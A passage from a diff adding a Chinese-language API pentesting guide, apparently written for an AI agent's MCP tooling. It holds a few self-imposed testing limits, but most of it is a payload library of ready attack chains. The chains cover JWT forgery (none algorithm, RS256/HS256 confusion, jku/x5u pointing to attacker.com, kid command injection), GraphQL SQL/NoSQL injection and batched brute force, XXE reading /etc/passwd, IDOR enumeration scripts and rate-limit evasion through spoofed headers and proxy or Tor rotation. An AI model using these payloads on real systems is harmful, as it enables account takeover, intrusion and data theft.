+ CORS + credentials = 7.5–8.1
205
+ ```
206
+
207
+ ### 7.4 影响段
208
+
209
+ ```
210
+ GET /api/v1/orders/{id} 接口未校验资源所有权,账号 A 可读取账号 B 的订单。
211
+ 我已用研究员控制的两个测试账号验证了 IDOR;并用 1 个随机 ID 证明可遍历,
212
+ 样本仅取 1 条且全部脱敏。
213
+ ```
214
+
215
+ ---
216
+
217
+ ## 相关 MCP 工具
218
+
219
+ 实战中可调用 jshookmcp 完成自动化。**默认 `search` profile 未预加载工具,调用前先用 `mcp__jshook__activate_tools <工具名>` 激活**(详见 [`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) §推荐 profile)。
220
+
221
+ | 工具 | 域 | 调用时机 |
222
+ |---|---|---|
223
+ | `mcp__jshook__graphql_introspect` | graphql | 资产展开 / 找隐藏 mutation 与未声明字段 |
224
+ | `mcp__jshook__graphql_extract_queries` + `mcp__jshook__graphql_replay` | graphql | 从抓包提取业务查询并重放(改变量) |
225
+ | `mcp__jshook__api_probe_batch` | workflow | 批量探测 BOLA / 权限差异(单 fetch burst) |
226
+ | `mcp__jshook__ws_monitor` + `mcp__jshook__ws_get_connections` | streaming | WebSocket 帧捕获 / 实时业务接口 |
227
+ | `mcp__jshook__protobuf_decode_raw` | encoding | 无 schema 时盲解 protobuf 请求 / 响应 |
228
+
229
+ 完整映射:[`../tools/mcp-jshook.md`](../tools/mcp-jshook.md)
230
+
231
+ ## 8. 不要做的事
232
+
233
+ - **禁**:通过 Mass Assignment 创建 admin 后实际使用管理员权限。仅证明 token 有 admin。
234
+ - **禁**:BOLA 批量遍历超过 10 条样本。
235
+ - **禁**:用速率漏洞实际发短信 100 条到他人手机。最多发到自己手机 10 条。
236
+ - **禁**:用 CORS 漏洞做真实跨域 PoC(让朋友访问 attacker.com)。自己浏览器自演。
237
+
238
+
239
+ ## Payload 库
240
+
241
+ _15 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
242
+
243
+ **类别分布:** API安全 (12) · WebSocket安全 (3)
244
+
245
+ ### · API安全
246
+
247
+ ### JWT安全漏洞 `jwt-security`
248
+ JSON Web Token安全漏洞利用
249
+ 子类:**JWT** · tags: `jwt` `token` `authentication`
250
+
251
+ **前置条件:** 使用JWT进行认证;JWT配置或验证存在问题
252
+
253
+ **攻击链:**
254
+
255
+ **1. 1. 解码JWT**
256
+ _解码JWT内容_
257
+ ```
258
+ JWT格式: header.payload.signature
259
+ 解码:
260
+ echo "HEADER" | base64 -d
261
+ echo "PAYLOAD" | base64 -d
262
+ 或使用jwt.io
263
+ ```
264
+
265
+ **2. 2. None算法攻击**
266
+ _使用None算法绕过签名验证_
267
+ ```
268
+ 修改header为:
269
+ {"alg":"none","typ":"JWT"}
270
+ Base64编码后构造:
271
+ HEADER.PAYLOAD.
272
+ (签名部分为空)
273
+ ```
274
+
275
+ **3. 3. 弱密钥破解**
276
+ _破解弱密钥_
277
+ ```
278
+ 使用hashcat破解:
279
+ hashcat -m 16500 jwt.txt wordlist.txt
280
+ 使用jwt_tool:
281
+ python3 jwt_tool.py JWT_TOKEN -C -d wordlist.txt
282
+ ```
283
+
284
+ **4. 4. 密钥混淆攻击**
285
+ _算法混淆攻击_
286
+ ```
287
+ 将RS256算法改为HS256:
288
+ {"alg":"HS256","typ":"JWT"}
289
+ 使用公钥作为HMAC密钥签名
290
+ ```
291
+
292
+ **5. 5. 修改Payload**
293
+ _修改JWT声明_
294
+ ```
295
+ 修改payload中的用户信息:
296
+ {"sub":"admin","iat":1234567890}
297
+ 重新编码并使用已知密钥签名
298
+ ```
299
+
300
+ **WAF/EDR 绕过变体:**
301
+
302
+ **1. JWK/JKU头部注入**
303
+ _通过在JWT Header中注入jwk(内嵌密钥)或jku(远程密钥集URL)指向攻击者控制的密钥,使服务端使用攻击者密钥验证签名_
304
+ ```
305
+ # JWK内嵌公钥注入:
306
+ # 在JWT Header中嵌入攻击者的公钥:
307
+ {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"attacker_n","e":"AQAB"}}
308
+ # 服务端使用Header中的JWK验证签名
309
+
310
+ # JKU远程密钥集注入:
311
+ {"alg":"RS256","typ":"JWT","jku":"http://attacker.com/.well-known/jwks.json"}
312
+ # 服务端从攻击者控制的URL获取密钥
313
+ ```
314
+
315
+ **2. x5c证书链注入**
316
+ _通过x5c头部注入攻击者自签证书链,使服务端从证书中提取公钥进行验证,攻击者用对应私钥签名即可伪造任意JWT_
317
+ ```
318
+ # 生成自签名证书:
319
+ openssl req -x509 -nodes -newkey rsa:2048 -keyout attacker.key -out attacker.crt -subj "/CN=attacker"
320
+
321
+ # 构造JWT Header:
322
+ {"alg":"RS256","x5c":["ATTACKER_CERT_BASE64"]}
323
+
324
+ # 用攻击者私钥签名,x5c中放入攻击者证书
325
+ # 服务端从x5c提取公钥验证签名,攻击者自签即可通过
326
+
327
+ # 使用jwt_tool:
328
+ python3 jwt_tool.py <token> -X s -pr attacker.key
329
+ ```
330
+
331
+ ---
332
+
333
+ ### GraphQL注入攻击 `graphql-injection`
334
+ GraphQL API注入与信息泄露攻击
335
+ 子类:**GraphQL** · tags: `graphql` `api` `injection` `introspection`
336
+
337
+ **前置条件:** 目标使用GraphQL API;存在未授权访问或注入点
338
+
339
+ **攻击链:**
340
+
341
+ **1. 1. 探测GraphQL端点**
342
+ _探测GraphQL端点_
343
+ ```
344
+ # 常见GraphQL端点
345
+ /graphql
346
+ /api/graphql
347
+ /graphql/api
348
+ /query
349
+ /graphql.php
350
+
351
+ # 发送POST请求
352
+ curl -X POST http://target.com/graphql \
353
+ -H "Content-Type: application/json" \
354
+ -d '{"query": "{ __schema { types { name } } }"}'
355
+ ```
356
+
357
+ **2. 2. 内省查询**
358
+ _执行内省查询获取API结构_
359
+ ```
360
+ # 完整内省查询
361
+ {
362
+ __schema {
363
+ types {
364
+ name
365
+ kind
366
+ description
367
+ fields {
368
+ name
369
+ type {
370
+ name
371
+ }
372
+ args {
373
+ name
374
+ type {
375
+ name
376
+ }
377
+ }
378
+ }
379
+ }
380
+ }
381
+ }
382
+
383
+ # 使用工具
384
+ gqlscan -u http://target.com/graphql
385
+ inql -t http://target.com/graphql
386
+ ```
387
+
388
+ **3. 3. 批量查询攻击**
389
+ _使用批量查询绕过限制_
390
+ ```
391
+ # 别名批量查询
392
+ {
393
+ user1: user(id: 1) { name email }
394
+ user2: user(id: 2) { name email }
395
+ user3: user(id: 3) { name email }
396
+ user4: user(id: 4) { name email }
397
+ }
398
+
399
+ # 批量查询绕过速率限制
400
+ [
401
+ {"query": "{ user(id: 1) { name } }"},
402
+ {"query": "{ user(id: 2) { name } }"},
403
+ {"query": "{ user(id: 3) { name } }"}
404
+ ]
405
+ ```
406
+
407
+ **4. 4. SQL注入**
408
+ _GraphQL中的SQL注入_
409
+ ```
410
+ # GraphQL中的SQL注入
411
+ {
412
+ user(name: "admin' OR '1'='1") {
413
+ id
414
+ name
415
+ password
416
+ }
417
+ }
418
+
419
+ # 通过参数注入
420
+ mutation {
421
+ createUser(input: {
422
+ name: "test' OR 1=1--"
423
+ }) {
424
+ id
425
+ }
426
+ }
427
+ ```
428
+
429
+ **5. 5. NoSQL注入**
430
+ _GraphQL中的NoSQL注入_
431
+ ```
432
+ # MongoDB注入
433
+ {
434
+ user(filter: {
435
+ $or: [{name: "admin"}, {name: "root"}]
436
+ }) {
437
+ name
438
+ password
439
+ }
440
+ }
441
+
442
+ # 通过JSON注入
443
+ {
444
+ search(text: "{\"$ne\": \"\"}") {
445
+ results
446
+ }
447
+ }
448
+ ```
449
+
450
+ **6. 6. 信息泄露**
451
+ _获取隐藏字段和敏感信息_
452
+ ```
453
+ # 获取隐藏字段
454
+ {
455
+ user(id: 1) {
456
+ name
457
+ email
458
+ password
459
+ apiKey
460
+ secretKey
461
+ token
462
+ __typename
463
+ }
464
+ }
465
+
466
+ # 枚举所有可能字段
467
+ {
468
+ __type(name: "User") {
469
+ fields {
470
+ name
471
+ type {
472
+ name
473
+ kind
474
+ }
475
+ }
476
+ }
477
+ }
478
+ ```
479
+
480
+ **WAF/EDR 绕过变体:**
481
+
482
+ **1. 字段建议绕过**
483
+ _利用字段建议和片段枚举_
484
+ ```
485
+ # 利用字段建议功能
486
+ query {
487
+ userr(id: 1) { name }
488
+ }
489
+ # 返回: Did you mean "user"?
490
+
491
+ # 枚举隐藏字段
492
+ query {
493
+ user(id: 1) {
494
+ __typename
495
+ ...on AdminUser {
496
+ adminSecret
497
+ }
498
+ }
499
+ }
500
+ ```
501
+
502
+ **2. 指令注入**
503
+ _使用GraphQL指令绕过_
504
+ ```
505
+ # 使用指令绕过
506
+ query {
507
+ user(id: 1) @deprecated {
508
+ name
509
+ }
510
+ }
511
+
512
+ # 自定义指令攻击
513
+ mutation @skip(if: false) {
514
+ deleteUser(id: 1)
515
+ }
516
+ ```
517
+
518
+ ---
519
+
520
+ ### GraphQL内省攻击 `graphql-introspection`
521
+ 利用GraphQL内省功能获取API结构
522
+ 子类:**GraphQL内省** · tags: `graphql` `introspection` `enumeration` `api`
523
+
524
+ **前置条件:** 目标使用GraphQL;内省功能未禁用
525
+
526
+ **攻击链:**
527
+
528
+ **1. 1. 基础内省**
529
+ _基础内省查询_
530
+ ```
531
+ # 获取所有类型
532
+ {
533
+ __schema {
534
+ types {
535
+ name
536
+ }
537
+ }
538
+ }
539
+
540
+ # 获取查询类型
541
+ {
542
+ __schema {
543
+ queryType {
544
+ name
545
+ fields {
546
+ name
547
+ description
548
+ }
549
+ }
550
+ }
551
+ }
552
+ ```
553
+
554
+ **2. 2. 完整内省**
555
+ _完整内省查询获取所有信息_
556
+ ```
557
+ # 获取完整API结构
558
+ query IntrospectionQuery {
559
+ __schema {
560
+ queryType { name }
561
+ mutationType { name }
562
+ subscriptionType { name }
563
+ types {
564
+ ...FullType
565
+ }
566
+ directives {
567
+ name
568
+ description
569
+ locations
570
+ args {
571
+ ...InputValue
572
+ }
573
+ }
574
+ }
575
+ }
576
+ fragment FullType on __Type {
577
+ kind
578
+ name
579
+ description
580
+ fields(includeDeprecated: true) {
581
+ name
582
+ description
583
+ args {
584
+ ...InputValue
585
+ }
586
+ type {
587
+ ...TypeRef
588
+ }
589
+ isDeprecated
590
+ deprecationReason
591
+ }
592
+ inputFields {
593
+ ...InputValue
594
+ }
595
+ interfaces {
596
+ ...TypeRef
597
+ }
598
+ enumValues(includeDeprecated: true) {
599
+ name
600
+ description
601
+ isDeprecated
602
+ deprecationReason
603
+ }
604
+ possibleTypes {
605
+ ...TypeRef
606
+ }
607
+ }
608
+ fragment InputValue on __InputValue {
609
+ name
610
+ description
611
+ type {
612
+ ...TypeRef
613
+ }
614
+ defaultValue
615
+ }
616
+ fragment TypeRef on __Type {
617
+ kind
618
+ name
619
+ ofType {
620
+ kind
621
+ name
622
+ ofType {
623
+ kind
624
+ name
625
+ ofType {
626
+ kind
627
+ name
628
+ ofType {
629
+ kind
630
+ name
631
+ ofType {
632
+ kind
633
+ name
634
+ ofType {
635
+ kind
636
+ name
637
+ }
638
+ }
639
+ }
640
+ }
641
+ }
642
+ }
643
+ }
644
+ ```
645
+
646
+ **3. 3. 使用工具分析**
647
+ _使用工具分析GraphQL_
648
+ ```
649
+ # GraphQL Voyager - 可视化分析
650
+ # https://github.com/APIs-guru/graphql-voyager
651
+
652
+ # 使用CLI工具
653
+ npm install -g graphql-cli
654
+ graphql-cli introspect http://target.com/graphql
655
+
656
+ # InQL扫描
657
+ pip install inql
658
+ inql -t http://target.com/graphql
659
+
660
+ # GraphQL Cop
661
+ npm install -g graphql-cop
662
+ graphql-cop -t http://target.com/graphql
663
+ ```
664
+
665
+ **WAF/EDR 绕过变体:**
666
+
667
+ **1. 绕过内省禁用**
668
+ _绕过内省禁用检测_
669
+ ```
670
+ # 某些实现只检查特定字符串
671
+ # 尝试不同格式
672
+ query { __schema { types { name } } }
673
+ query IntrospectionQuery { __schema { types { name } } }
674
+ {"query":"{__schema{types{name}}}"
675
+
676
+ # 使用GET请求
677
+ curl "http://target.com/graphql?query={__schema{types{name}}}"
678
+ ```
679
+
680
+ ---
681
+
682
+ ### GraphQL批量查询攻击 `graphql-batching`
683
+ 利用GraphQL批量查询绕过速率限制
684
+ 子类:**GraphQL批量查询** · tags: `graphql` `batching` `rate-limit` `bypass`
685
+
686
+ **前置条件:** 目标使用GraphQL;存在速率限制
687
+
688
+ **攻击链:**
689
+
690
+ **1. 1. 别名批量查询**
691
+ _使用别名批量查询_
692
+ ```
693
+ # 使用别名一次查询多个用户
694
+ query {
695
+ user1: user(id: 1) { name email password }
696
+ user2: user(id: 2) { name email password }
697
+ user3: user(id: 3) { name email password }
698
+ user4: user(id: 4) { name email password }
699
+ user5: user(id: 5) { name email password }
700
+ }
701
+
702
+ # 批量枚举
703
+ query {
704
+ users: allUsers(limit: 1000) { id name email }
705
+ }
706
+ ```
707
+
708
+ **2. 2. 数组批量查询**
709
+ _使用数组批量查询_
710
+ ```
711
+ # 发送多个查询数组
712
+ [
713
+ {"query": "{ user(id: 1) { name } }"},
714
+ {"query": "{ user(id: 2) { name } }"},
715
+ {"query": "{ user(id: 3) { name } }"},
716
+ {"query": "{ user(id: 4) { name } }"}
717
+ ]
718
+
719
+ # 使用curl发送
720
+ curl -X POST http://target.com/graphql \
721
+ -H "Content-Type: application/json" \
722
+ -d '[{"query":"{user(id:1){name}}"},{"query":"{user(id:2){name}}"}]'
723
+ ```
724
+
725
+ **3. 3. 暴力破解**
726
+ _批量暴力破解_
727
+ ```
728
+ # 批量密码尝试
729
+ mutation {
730
+ attempt1: login(email: "admin@test.com", password: "password1") { token }
731
+ attempt2: login(email: "admin@test.com", password: "password2") { token }
732
+ attempt3: login(email: "admin@test.com", password: "password3") { token }
733
+ attempt4: login(email: "admin@test.com", password: "password4") { token }
734
+ attempt5: login(email: "admin@test.com", password: "password5") { token }
735
+ }
736
+
737
+ # 枚举用户
738
+ query {
739
+ check1: userExists(email: "admin@test.com")
740
+ check2: userExists(email: "root@test.com")
741
+ check3: userExists(email: "test@test.com")
742
+ }
743
+ ```
744
+
745
+ **WAF/EDR 绕过变体:**
746
+
747
+ **1. 绕过批量限制**
748
+ _绕过批量查询限制_
749
+ ```
750
+ # 分散查询
751
+ # 使用不同的查询格式
752
+ query BatchQuery {
753
+ user1: user(id: 1) { ...UserFields }
754
+ user2: user(id: 2) { ...UserFields }
755
+ }
756
+ fragment UserFields on User {
757
+ name
758
+ email
759
+ }
760
+
761
+ # 使用变量批量
762
+ query GetUser($ids: [ID!]!) {
763
+ users(ids: $ids) {
764
+ name
765
+ email
766
+ }
767
+ }
768
+ ```
769
+
770
+ ---
771
+
772
+ ### REST API安全测试 `rest-api-security`
773
+ REST API安全测试与漏洞利用
774
+ 子类:**REST API** · tags: `rest` `api` `security` `testing`
775
+
776
+ **前置条件:** 目标使用REST API;了解API端点
777
+
778
+ **攻击链:**
779
+
780
+ **1. 1. API端点发现**
781
+ _发现API端点_
782
+ ```
783
+ # 常见API端点
784
+ /api/v1/users
785
+ /api/v2/products
786
+ /api/docs
787
+ /api/swagger.json
788
+ /api/openapi.json
789
+ /swagger-ui.html
790
+ /redoc
791
+
792
+ # 使用工具发现
793
+ ffuf -u http://target.com/api/FUZZ -w api_endpoints.txt
794
+ wfuzz -c -w api_wordlist.txt http://target.com/api/FUZZ
795
+ ```
796
+
797
+ **2. 2. 认证测试**
798
+ _测试API认证_
799
+ ```
800
+ # 测试未授权访问
801
+ curl http://target.com/api/v1/users
802
+
803
+ # 测试JWT
804
+ curl -H "Authorization: Bearer TOKEN" http://target.com/api/v1/users
805
+
806
+ # 测试API Key
807
+ curl -H "X-API-Key: key123" http://target.com/api/v1/users
808
+
809
+ # 测试Basic Auth
810
+ curl -u user:pass http://target.com/api/v1/users
811
+ ```
812
+
813
+ **3. 3. HTTP方法测试**
814
+ _测试HTTP方法_
815
+ ```
816
+ # 测试允许的HTTP方法
817
+ curl -X OPTIONS http://target.com/api/v1/users -v
818
+
819
+ # 尝试PUT修改
820
+ curl -X PUT -H "Content-Type: application/json" \
821
+ -d '{"name":"hacked"}' http://target.com/api/v1/users/1
822
+
823
+ # 尝试DELETE删除
824
+ curl -X DELETE http://target.com/api/v1/users/1
825
+
826
+ # 尝试PATCH部分更新
827
+ curl -X PATCH -H "Content-Type: application/json" \
828
+ -d '{"role":"admin"}' http://target.com/api/v1/users/1
829
+ ```
830
+
831
+ **4. 4. 参数污染**
832
+ _测试参数污染_
833
+ ```
834
+ # 参数污染测试
835
+ # 重复参数
836
+ /api/users?id=1&id=2
837
+ /api/users?name=admin&name=user
838
+
839
+ # 数组参数
840
+ /api/users?id[]=1&id[]=2
841
+ /api/users?name[0]=admin&name[1]=user
842
+
843
+ # JSON注入
844
+ /api/users?filter={"role":"admin"}
845
+ /api/users?sort=role&order=desc; SELECT SLEEP(5)--
846
+ ```
847
+
848
+ **5. 5. 内容类型测试**
849
+ _测试内容类型处理_
850
+ ```
851
+ # 测试不同Content-Type
852
+ curl -H "Content-Type: application/xml" -d "<user><name>test</name></user>" http://target.com/api/users
853
+ curl -H "Content-Type: text/plain" -d "name=test" http://target.com/api/users
854
+ curl -H "Content-Type: application/x-www-form-urlencoded" -d "name=test" http://target.com/api/users
855
+
856
+ # XML外部实体
857
+ curl -H "Content-Type: application/xml" \
858
+ -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><name>&xxe;</name></user>' \
859
+ http://target.com/api/users
860
+ ```
861
+
862
+ **WAF/EDR 绕过变体:**
863
+
864
+ **1. API版本绕过**
865
+ _使用不同API版本绕过_
866
+ ```
867
+ # 尝试不同API版本
868
+ /api/v1/users # 可能已修复
869
+ /api/v2/users # 可能未修复
870
+ /api/users # 旧版本可能无保护
871
+
872
+ # 尝试内部API
873
+ /internal/api/users
874
+ /private/api/users
875
+ /_api/users
876
+ ```
877
+
878
+ **2. 编码绕过**
879
+ _使用编码绕过_
880
+ ```
881
+ # URL编码
882
+ curl http://target.com/api/users/%31 # /users/1
883
+
884
+ # Unicode编码
885
+ curl http://target.com/api/users/%u0031
886
+
887
+ # 双重URL编码
888
+ curl http://target.com/api/users/%2531
889
+ ```
890
+
891
+ ---
892
+
893
+ ### JWT None算法攻击 `jwt-none-alg`
894
+ 利用JWT None算法绕过签名验证
895
+ 子类:**JWT安全** · tags: `jwt` `none` `algorithm` `bypass`
896
+
897
+ **前置条件:** 目标使用JWT认证;服务器未正确验证算法
898
+
899
+ **攻击链:**
900
+
901
+ **1. 1. 解码JWT**
902
+ _解码JWT令牌_
903
+ ```
904
+ # 在线解码
905
+ https://jwt.io
906
+
907
+ # 使用命令行
908
+ echo "HEADER" | base64 -d
909
+ echo "PAYLOAD" | base64 -d
910
+
911
+ # 使用Python
912
+ import jwt
913
+ decoded = jwt.decode(token, options={"verify_signature": False})
914
+ print(decoded)
915
+ ```
916
+
917
+ **2. 2. 构造None算法Token**
918
+ _构造None算法Token_
919
+ ```
920
+ # 修改头部为none算法
921
+ # 原始头部
922
+ {"alg":"HS256","typ":"JWT"}
923
+
924
+ # 修改为
925
+ {"alg":"none","typ":"JWT"}
926
+ {"alg":"None","typ":"JWT"}
927
+ {"alg":"NONE","typ":"JWT"}
928
+ {"alg":"nOnE","typ":"JWT"}
929
+
930
+ # 使用Python构造
931
+ import base64, json
932
+ header = {"alg":"none","typ":"JWT"}
933
+ payload = {"sub":"admin","iat":1516239022}
934
+ token = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=") + "." + \
935
+ base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=") + "."
936
+ print(token)
937
+ ```
938
+
939
+ **3. 3. 修改用户权限**
940
+ _修改用户权限_
941
+ ```
942
+ # 修改payload提权
943
+ # 原始payload
944
+ {"sub":"user","role":"user","iat":1516239022}
945
+
946
+ # 修改为
947
+ {"sub":"admin","role":"admin","iat":1516239022}
948
+
949
+ # 完整攻击
950
+ import base64, json
951
+ header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').decode().rstrip("=")
952
+ payload = base64.urlsafe_b64encode(b'{"sub":"admin","role":"admin"}').decode().rstrip("=")
953
+ token = header + "." + payload + "."
954
+ print(token)
955
+ ```
956
+
957
+ **4. 4. 发送恶意Token**
958
+ _发送恶意Token_
959
+ ```
960
+ # 使用curl发送
961
+ curl -H "Authorization: Bearer <MALICIOUS_TOKEN>" http://target.com/api/admin
962
+
963
+ # 空签名测试
964
+ curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9." http://target.com/api/admin
965
+ ```
966
+
967
+ **WAF/EDR 绕过变体:**
968
+
969
+ **1. 算法混淆**
970
+ _尝试算法变体_
971
+ ```
972
+ # 尝试不同变体
973
+ {"alg":"none"}
974
+ {"alg":"None"}
975
+ {"alg":"NONE"}
976
+ {"alg":"nOnE"}
977
+ {"alg":""}
978
+ {"alg":null}
979
+
980
+ # 移除alg字段
981
+ {"typ":"JWT"}
982
+ ```
983
+
984
+ **2. 签名绕过**
985
+ _签名绕过变体_
986
+ ```
987
+ # 空签名
988
+ header.payload.
989
+
990
+ # 任意签名
991
+ header.payload.anysignature
992
+
993
+ # 使用原始签名
994
+ # 某些库会忽略签名验证
995
+ ```
996
+
997
+ ---
998
+
999
+ ### JWT密钥混淆攻击 `jwt-key-confusion`
1000
+ 利用JWT算法混淆实现签名绕过
1001
+ 子类:**JWT安全** · tags: `jwt` `algorithm` `confusion` `rs256`
1002
+
1003
+ **前置条件:** 目标使用RS256算法;可获取公钥
1004
+
1005
+ **攻击链:**
1006
+
1007
+ **1. 1. 获取公钥**
1008
+ _获取JWT公钥_
1009
+ ```
1010
+ # 从证书获取
1011
+ curl -k https://target.com/.well-known/jwks.json
1012
+
1013
+ # 从SSL证书获取
1014
+ echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout
1015
+
1016
+ # 从JWT头部获取
1017
+ # 解码JWT头部,查找x5c或jku字段
1018
+
1019
+ # 常见公钥位置
1020
+ /.well-known/jwks.json
1021
+ /api/keys
1022
+ /public.key
1023
+ /pubkey.pem
1024
+ ```
1025
+
1026
+ **2. 2. 算法混淆攻击**
1027
+ _算法混淆攻击_
1028
+ ```
1029
+ # 将RS256改为HS256
1030
+ # 使用公钥作为HMAC密钥
1031
+
1032
+ import jwt
1033
+ import base64
1034
+
1035
+ # 获取公钥
1036
+ public_key = open("public.pem").read()
1037
+
1038
+ # 构造payload
1039
+ payload = {"sub":"admin","role":"admin"}
1040
+
1041
+ # 使用公钥作为HMAC密钥签名
1042
+ token = jwt.encode(payload, public_key, algorithm="HS256")
1043
+ print(token)
1044
+ ```
1045
+
1046
+ **3. 3. 发送恶意Token**
1047
+ _发送恶意Token_
1048
+ ```
1049
+ # 使用构造的Token
1050
+ curl -H "Authorization: Bearer <HS256_TOKEN>" http://target.com/api/admin
1051
+
1052
+ # Python脚本
1053
+ import requests
1054
+ headers = {"Authorization": f"Bearer {token}"}
1055
+ response = requests.get("http://target.com/api/admin", headers=headers)
1056
+ print(response.text)
1057
+ ```
1058
+
1059
+ **WAF/EDR 绕过变体:**
1060
+
1061
+ **1. kid注入**
1062
+ _通过kid参数注入_
1063
+ ```
1064
+ # kid参数注入
1065
+ # 修改JWT头部kid字段
1066
+ {"alg":"HS256","typ":"JWT","kid":"../../dev/null"}
1067
+
1068
+ # SQL注入kid
1069
+ {"alg":"HS256","typ":"JWT","kid":"key UNION SELECT secret--"}
1070
+
1071
+ # 命令注入kid
1072
+ {"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"}
1073
+ ```
1074
+
1075
+ **2. jku/x5u绕过**
1076
+ _通过jku/x5u绕过_
1077
+ ```
1078
+ # jku指向攻击者服务器
1079
+ {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/.well-known/jwks.json"}
1080
+
1081
+ # x5u指向攻击者证书
1082
+ {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
1083
+
1084
+ # 在攻击者服务器托管恶意密钥
1085
+ ```
1086
+
1087
+ ---
1088
+
1089
+ ### IDOR不安全的直接对象引用 `api-idor`
1090
+ 利用IDOR漏洞访问未授权资源
1091
+ 子类:**IDOR** · tags: `idor` `api` `authorization` `bypass`
1092
+
1093
+ **前置条件:** 目标使用ID引用资源;存在授权检查缺陷
1094
+
1095
+ **攻击链:**
1096
+
1097
+ **1. 1. 识别ID参数**
1098
+ _识别ID参数_
1099
+ ```
1100
+ # 常见ID参数位置
1101
+ /api/users/123
1102
+ /api/orders?id=123
1103
+ /api/documents/abc-123
1104
+ /api/profile?user_id=123
1105
+
1106
+ # 观察响应
1107
+ # 记录不同ID返回的数据差异
1108
+ ```
1109
+
1110
+ **2. 2. 枚举ID**
1111
+ _枚举ID值_
1112
+ ```
1113
+ # 数字ID枚举
1114
+ for i in $(seq 1 1000); do
1115
+ curl -H "Authorization: Bearer $TOKEN" "http://target.com/api/users/$i" >> output.txt
1116
+ done
1117
+
1118
+ # 使用Burp Intruder
1119
+ # Payload: Numbers 1-10000
1120
+ # GET /api/users/{id}
1121
+
1122
+ # UUID枚举
1123
+ # 使用ffuf
1124
+ ffuf -u http://target.com/api/users/FUZZ -w uuid_list.txt -H "Authorization: Bearer TOKEN"
1125
+ ```
1126
+
1127
+ **3. 3. 批量检测**
1128
+ _批量检测IDOR_
1129
+ ```
1130
+ # Python脚本批量检测
1131
+ import requests
1132
+
1133
+ token = "YOUR_TOKEN"
1134
+ for i in range(1, 100):
1135
+ r = requests.get(
1136
+ f"http://target.com/api/users/{i}",
1137
+ headers={"Authorization": f"Bearer {token}"}
1138
+ )
1139
+ if r.status_code == 200:
1140
+ print(f"ID {i}: {r.json()}")
1141
+
1142
+ # 检测数据泄露
1143
+ # 比较不同用户访问同一ID的响应
1144
+ ```
1145
+
1146
+ **4. 4. 跨用户访问**
1147
+ _跨用户访问测试_
1148
+ ```
1149
+ # 尝试访问其他用户数据
1150
+ # 用户A的Token访问用户B的数据
1151
+
1152
+ # 修改请求中的ID
1153
+ GET /api/users/2 # 原本是用户1
1154
+ GET /api/orders?user_id=2 # 原本是user_id=1
1155
+
1156
+ # 修改POST/PUT请求体
1157
+ {
1158
+ "user_id": 2, # 修改为其他用户ID
1159
+ "amount": 1000
1160
+ }
1161
+ ```
1162
+
1163
+ **WAF/EDR 绕过变体:**
1164
+
1165
+ **1. ID变体绕过**
1166
+ _ID变体绕过_
1167
+ ```
1168
+ # 数字变体
1169
+ /api/users/001
1170
+ /api/users/1
1171
+ /api/users/0x1
1172
+ /api/users/1.0
1173
+
1174
+ # 编码绕过
1175
+ /api/users/%31 # URL编码
1176
+ /api/users/MSAg # Base64编码
1177
+
1178
+ # 数组绕过
1179
+ /api/users?id[]=1&id[]=2
1180
+ /api/users[0]=1&users[1]=2
1181
+ ```
1182
+
1183
+ **2. 参数污染**
1184
+ _参数污染绕过_
1185
+ ```
1186
+ # 参数污染
1187
+ /api/users?id=1&id=2
1188
+ /api/users?id=2&id=1
1189
+
1190
+ # JSON注入
1191
+ {"id": 1, "id": 2}
1192
+
1193
+ # 批量操作
1194
+ /api/users/batch?ids=1,2,3,4,5
1195
+ ```
1196
+
1197
+ ---
1198
+
1199
+ ### API速率限制绕过 `api-rate-limit`
1200
+ 绕过API速率限制进行暴力攻击
1201
+ 子类:**速率限制** · tags: `api` `rate-limit` `bypass` `brute-force`
1202
+
1203
+ **前置条件:** 目标有速率限制;限制实现有缺陷
1204
+
1205
+ **攻击链:**
1206
+
1207
+ **1. 1. 检测速率限制**
1208
+ _检测速率限制_
1209
+ ```
1210
+ # 快速发送请求检测限制
1211
+ for i in $(seq 1 100); do
1212
+ curl -s -o /dev/null -w "%{http_code}\n" http://target.com/api/test
1213
+ done
1214
+
1215
+ # 观察响应
1216
+ # 429 Too Many Requests
1217
+ # 403 Forbidden
1218
+ # 自定义错误消息
1219
+ ```
1220
+
1221
+ **2. 2. IP绕过**
1222
+ _使用IP头绕过_
1223
+ ```
1224
+ # X-Forwarded-For绕过
1225
+ curl -H "X-Forwarded-For: 1.2.3.4" http://target.com/api/test
1226
+ curl -H "X-Forwarded-For: 1.2.3.5" http://target.com/api/test
1227
+ curl -H "X-Forwarded-For: 1.2.3.6" http://target.com/api/test
1228
+
1229
+ # 其他IP头
1230
+ X-Real-IP: 1.2.3.4
1231
+ X-Originating-IP: 1.2.3.4
1232
+ X-Remote-IP: 1.2.3.4
1233
+ X-Client-IP: 1.2.3.4
1234
+ True-Client-IP: 1.2.3.4
1235
+
1236
+ # 自动化
1237
+ for i in $(seq 1 100); do
1238
+ curl -H "X-Forwarded-For: 1.2.3.$i" http://target.com/api/test
1239
+ done
1240
+ ```
1241
+
1242
+ **3. 3. 分布式绕过**
1243
+ _分布式绕过速率限制_
1244
+ ```
1245
+ # 使用多个代理
1246
+ # 配置代理池
1247
+ proxies = [
1248
+ "http://proxy1:8080",
1249
+ "http://proxy2:8080",
1250
+ "http://proxy3:8080"
1251
+ ]
1252
+
1253
+ # Python脚本
1254
+ import requests
1255
+ proxies_list = ["http://proxy1:8080", "http://proxy2:8080"]
1256
+ for i, proxy in enumerate(proxies_list):
1257
+ requests.get("http://target.com/api/test", proxies={"http": proxy})
1258
+
1259
+ # 使用Tor
1260
+ # 每次请求头换Tor电路
1261
+ import stem.process
1262
+ import requests
1263
+
1264
+ # 使用云函数
1265
+ # AWS Lambda, Azure Functions等
1266
+ ```
1267
+
1268
+ **4. 4. 其他绕过技术**
1269
+ _其他绕过技术_
1270
+ ```
1271
+ # 用户代理绕过
1272
